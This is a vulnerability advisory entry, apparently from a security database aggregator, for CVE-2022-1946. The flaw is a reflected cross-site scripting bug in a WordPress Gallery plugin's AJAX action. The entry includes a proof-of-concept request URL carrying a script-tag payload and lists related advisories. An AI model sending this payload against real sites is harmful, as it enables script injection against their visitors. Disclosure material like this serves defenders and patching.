Lucene search
CydaveWPEX-ID:0903920C-BE2E-4515-901F-87253EB30940HistoryJun 13, 2022 - 12:00 a.m.
Gallery < 2.0.0 - Reflected Cross-Site Scripting
2022-06-1300:00:00
cydave
60
0.001 Low
EPSS
Percentile
36.9%
The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(`xss`)</script>Related
cnvd
cnvd
WordPress Gallery plugin跨站脚本漏洞
2022-07-06 00:00:00
cvelist
cvelist
CVE-2022-1946 Gallery < 2.0.0 - Reflected Cross-Site Scripting
2022-07-04 13:05:50
prion
prion
Cross site scripting
2022-07-04 13:15:00
cve
cve
CVE-2022-1946
2022-07-04 13:15:08
nuclei
nuclei
WordPress Gallery <2.0.0 - Cross-Site Scripting
2022-07-06 10:15:00
nvd
nvd
CVE-2022-1946
2022-07-04 13:15:08
wpvulndb
wpvulndb
Gallery < 2.0.0 - Reflected Cross-Site Scripting
2022-06-13 00:00:00